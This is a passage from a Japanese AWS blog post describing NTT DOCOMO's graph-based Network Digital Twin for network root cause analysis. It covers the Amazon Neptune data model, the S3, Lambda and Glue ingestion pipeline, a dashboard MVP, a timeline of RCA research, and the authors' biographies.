に取り込まれるデータには、5 分ごとのネットワークのパフォーマンスデータと、トランスポートネットワークから無線基地局までのパス全体をカバーするイベントベースのアラームが含まれています。 より具体的には、トランスポートネットワークのエッジルーターでは、受信トラフィックと送信トラフィックのバイト数とパケット数が、合計値、ユニキャスト、マルチキャスト、ブロードキャストパケットごとに、累積値と定期値の両方が記録され、加えて重要度の高いアラーム数も記録されます。中間パスとなる集約ルーターは、パケットレベルの統計データの合計値、平均値、破棄数、エラー数に加え、自身の重要度の高いアラーム数も記録します。evolved Node B（ eNB、4G / LTE 基地局）や next-generation Node B（ gNB、5G 基地局）では、収集されるデータは無線関連のメトリクスになります。これらの指標には、イーサネットの受信・送信レートと破棄率、無線リソース制御（ RRC ）接続要求数、完了数、再試行数、および重要度の高いアラーム数が含まれます。 NTT ドコモ の RCA のために設計した Amazon Neptune におけるグラフデータモデリングの抜粋： 図 7. NTT ドコモのグラフデータモデリングの抜粋 NTT ドコモのグラフデータを使った Network Digital Twin は、NOC チームに以下の恩恵をもたらすをもたらします。 データパイプラインとして維持されているグラフ化されたネットワークトポロジーの探索と検索 KPI とアラームによって、動的なネットワークの状態をリアルタイムに可視化（時間変化するナレッジグラフ） グラフ分析に基づく被疑ノードの抽出 NTT ドコモの MVP は、Runbook 1 に準拠しています。このMVPは、現在、Agentic AI が静的エージェントの枠を超え、異常検知機能を組み込むように拡張されており、Runbook 3 を目指しています。 以下のスクリーンショットは、NTT ドコモによるグラフデータを使った Network Digital Twin のダッシュボード ( WebUI ) を示しています。 図 8. NTT DOCOMO によるグラフデータを使った Network Digital Twin ダッシュボード パフォーマンスデータ (PM: Performance Management) とアラームデータ (FM: Fault Management) は、トランスポートネットワークと RAN から 5 分ごとに AWS に収集され、Amazon S3 バケットに格納されます。 AWS Lambda が Amazon Glue ジョブをトリガーします。 Amazon Glue ジョブは生データを解析し、Amazon Neptune にデータをロードするために必要なフォーマットに変換します。変換されたファイルは S3 バケットに格納されます。 別の AWS Lambda が Neptune バルクローダー API を呼び出し、新しいグラフデータを自動的にインポートします。手動による介入は必要ありません。 NTTドコモは、本 RCA のトリガーとしてオンデマンド実行から始めました。具体的には、重要度の高いアラームの数が異常な数に達したことをトリガーとして、RCA パイプラインが起動し、それらのアラームを Digital Twin （グラフ DB）にロードし、グラフ分析アルゴリズムを実行します。Lambda 関数は、アラーム発生ノードのサブグラフを構築し、グラフ分析を実行して、RCA スコア結果とサブグラフの両方を Amazon S3 に保存します。その後、オペレーターは Tom Sawyer Perspectives で障害のあるデバイスを視覚的に確認することができます。被疑ノードは、ネットワークトポロジーを表示した可視化画面上で赤く強調表示されます。 次の図は、NTT ドコモの MVP ターゲットアーキテクチャを示しています。 図 9. 現在の構成と将来の拡張を含む NTT ドコモの HLD ソリューションアーキテクチャ図 次のスクリーンショットは、Tom Sawyer Perspectives を使用して MVP として構築された NTT ドコモの オペレータ向け WebUI ダッシュボードです。MVP の詳細については、Mobile World Congress 2025 で展示されたデモ動画をご覧ください。 図 10. Neptune Analytics のグラフアルゴリズムを使用して、被疑箇所が特定された様子を示す WebUI RCA (Root Cause Analysis) 領域における科学的な観点とグラフデータの台頭 4つの Runbook とナレッジレイヤーを備えた、AWS 上のエージェント型 AI 搭載グラフベース RCA の概要を説明しました。次に、このアプローチがネットワーク根本原因分析（RCA）の幅広い科学的進化とどのように整合しているかを示します。以下のタイムラインは、RCA がグラフ中心の手法を段階的に採用してきた背景を示しており、最先端技術を抜粋しています。モバイルおよびソフトウェアネットワークの根本原因分析（RCA）は、グラフデータを中心に4つのフェーズを経てきました。 アラーム相関時代 （ 2011 ～ 2014 年） – 階層的なアラームデータのグラフにより、数万件もの生のアラームが数分以内に単一の因果関係の連鎖に集約されました。 セルフモデリング時代 （ 2015 ～ 2017 年） – ソフトウェアデファインドネットワーク（ SDN ）またはネットワーク機能仮想化（ NFV ）コントローラからリアルタイムに生成される依存関係を表すグラフによって、30 秒未満で 95 %の精度で障害を特定できるようになりました。その後、オンラインベイジアン重み付け ( Online Bayesian weighting ) により、 スタティックルール と比較して誤検知が約 30 % 削減されました。 ログマイニングと説明可能な機械学習（ ML ）時代（ 2020 年）：有向区間グラフ – 有向非巡回グラフ（ DIG – DAG ）構造は、第 4 世代（ 4G ）および第 5 世代（ 5G ）のアラームをクエリ可能な 因果関係を表すサブグラフ にストリーミングしました。 Ericsson は、SHAP（ SHapley Additive exPlanations ）と勾配ブースティングを組み合わせて、スライスのサービスレベル契約（ SLA ）違反の背後にある主要業績評価指標（ KPI ）パスを明らかにしました。 ディープグラフラーニング時代（ 2022 ～ 2024 年）：グラフ構造学習グラフニューラルネットワーク（ GNN ）は、 隠れたセル間のリンクを推定 し、メトリクスが欠落している場合の F1 スコアを 15 % 向上させました。 ディープラーニングによるオートエンコーダ では、産業用 IoT（ IIoT ）アプリケーションにおいて異常を 1 秒未満のレイテンシで特定しました。 最新の GNN-Transformer hybrid では、数千の 5G セルにわたる時空間パターンを捉え、テストケースにおいて初回の推論で 90 % 以上の確率で根本原因を特定しています。 今後の展望 本記事では、グラフデータと Agentic AI を活用した Network Digital Twin ソリューションについてご紹介しました。リアルタイムなネットワークトポロジー、アラーム、KPI が格納された Amazon Neptune データ基盤レイヤーについてもご説明しました。このソリューションには、基本的なアラーム相関分析から KPI 予測まで、4つの Runbook が用意されており、それぞれ専門の Agentic AI による RCA が実行されます。今後の展望は以下のとおりです。 より詳細な技術ブログの更改：近日中に実装方法を記述したブログを 4 本公開予定です。各ブログでは、ネットワークシナリオとコードのサンプルを含む 1 つの Runbook を取り上げ、実用的な導入方法をご紹介します。 NTT ドコモにおける商用運用への導入：運用チームとの連携を継続し、新機能の追加や、他のネットワークドメインおよびサービスレイヤーへの拡張を進めています。 パートナーシップの拡張：現在、複数のお客様およびパートナーと連携し、根本原因分析、サービス影響の評価、変更管理のための Digital Twin リューションを開発しています。 AWS での RCA およびサービス影響の評価のためにグラフデータを活用した Network Digital Twin に関する過去の顧客事例については、以下のサイトを参照ください: – Networks for AI and AI for Networks: AWS and Orange’s Journey – DOCOMO- Network digital twin as a graph: powered with generative AI – re:invent 2024 with Orange, Generative AI–powered graph for network digital twin – Telenet Belguim/LG, Celfocus and AWS- Network operations powered by network digital twin Dr. Imen Grida Ben Yahya Imen は、 AWS のプリンシパル AI/ML スペシャリストです。ネットワーク（可観測性、根本原因分析、レコメンデーションシステム、クローズドループシステム）に適用するクラウドネイティブな機械学習/ディープラーニング/生成 AI パイプラインの設計と構築に携わり、60 本以上の機械学習/ディープラーニングに関する科学論文を執筆しています。パリ工科大学テレコム・シュッドパリ校で、ネットワークに応用された AI/認知技術の博士号を取得しています。 Brad Bebee Brad は、AWSのディレクターであり、Amazon Neptune（マネージドグラフデータベース）と Timestream（マネージド時系列データベース）の ジェネラルマネージャーも務めています。グラフと時系列は素晴らしいものであり、ユーザーにとってデータ内の関係性を利用して洞察を得るのに役立つと考えています。2016 年にAWSに入社する前は、ワシントンD.C.を拠点とし、Blazegraph の CEO を務め、Blazegraph プラットフォームのオープンソースへの積極的な contributor&nbsp;として活躍していました。 Naveen Kumar H M Naveen は、コンテナソリューションとクラウドネイティブアーキテクチャを専門とする DevOps コンサルタントです。コンテナ化の専門知識を活かし、組織がスケーラブルなインフラストラクチャを導入できるよう支援しています。現在は通信事業者向けに、従来のインフラストラクチャと AI イノベーションを組み合わせた 生成 AI アプリケーションを開発しています。 宮崎 友貴&nbsp; Yuki Miyazaki Yuki は、AWS の日本の通信事業者向けソリューションアーキテクトです。通信事業者が AWS を活用して通信業界を再定義する革新的なソリューションを構築する支援をしています。主に、OSS および 5G コアの移行とモダナイズ、そして AWS サービスを活用した Autonomous Network の推進をリードしています。 前島 一夫 NTTドコモにおいて、通信ネットワークの運用の自動化・可視化の責任者を務めています。 20 年以上にわたり、NTT ドコモのネットワーク設備の企画・構築、組織設計、技術者育成に携わってきました。 今井 識 NTTドコモにおいて、通信ネットワークサービスの監視と可観測性を担当する DevOps チームのマネージャー兼テクニカルリードを務めています。OpenStack ベースのプライベートクラウド開発、SIP AS およびメディアサーバー仮想化のための MANO 統合、3G/4G/5G ネットワ​​ークにおけるユーザーエクスペリエンス向上のための TCP 最適化など、通信ネットワークの開発経験を有しています。 &nbsp;